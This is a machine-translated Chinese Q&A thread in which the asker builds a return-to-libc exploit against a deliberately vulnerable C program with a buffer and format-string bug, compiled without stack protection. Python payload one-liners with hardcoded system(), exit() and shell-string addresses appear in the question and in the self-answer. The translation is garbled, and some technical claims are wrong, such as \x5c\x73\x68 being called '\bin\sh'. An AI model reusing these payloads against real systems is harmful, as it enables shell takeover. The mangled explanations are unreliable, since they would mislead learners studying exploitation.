重回 libc 攻击

re3*_*3el 5 c linux libc buffer-overflow

我正在尝试使用格式字符串攻击向量对以下代码实施返回到 libc 攻击。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
   char a[10];
   scanf("%s",&a);  
   printf(a);
   return 0;
}
Run Code Online (Sandbox Code Playgroud)

我想通了使用系统()的地址p system的命令gdb。通过使用 对堆栈帧的检查x/500s $esp,我计算出包含\bin\sh.

system: 0xf7e2cda0 
exit: 0xf7e209d0
\bin\bash: 0xffffd207
Run Code Online (Sandbox Code Playgroud)

有了这些东西,我构造了以下格式字符串:

python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff"' > inp
Run Code Online (Sandbox Code Playgroud)

其中0xffffcdbc - 0x4是包含系统地址0xf7e2cda0值的本地地址。

我使用编译程序gcc -m32 -fno-stack-protector -o sh sh.c并使用gdb sh. 执行后,在输入时r<inp,我得到以下输出

gdb_output

如上所示,显示了一些错误命令,我只有在r再次运行命令后才能进入 shell 。有人可以解释我在这里缺少什么以便我直接进入外壳吗?

此外,当我尝试./sh < inp通过偏移 gdb 地址在没有 gdb ( by ) 的情况下执行上面的程序时,出现分段错误错误。我假设一旦上述修复得到纠正,这可以解决。

请通过提供完整的工作漏洞来回答 - 大多数在线教程都用于argv[1]解释类似问题,但我希望在不使用参数的情况下使漏洞工作正常工作。

谢谢!

re3*_*3el 1

经过几天的研究,我终于解决了这个问题。这并不是说字符串的地址/bin/sh错误,也不是说您只需要库\bin\sh中的字符串地址位置libc即可使其正常工作,而是您所需要的只是在字符串地址末尾有一个 4 字节的 nop sled您已放置的。所以,本质上,我的攻击字符串会这样

python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff" + "\x90\x90\x90\x90" ' > inp
Run Code Online (Sandbox Code Playgroud)

或者在您直接将 a 写入缓冲区的情况下/bin/sh,类似下面的字符串可以工作

python -c ' print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x84\xce\xff\xff" + "\x5c\x73\x68\0" + "\x90\x90\x90\x90" ' > inp
Run Code Online (Sandbox Code Playgroud)

其中\x5c\x73\x68(hex for \bin\sh) 存储在缓冲区中\x84\xce\xff\xff

注意:我有时还观察到您在特定位置写入的地址不会以某种方式显示。在这些情况下,您应该进行填充以确保所有内容都存储在各自的位置。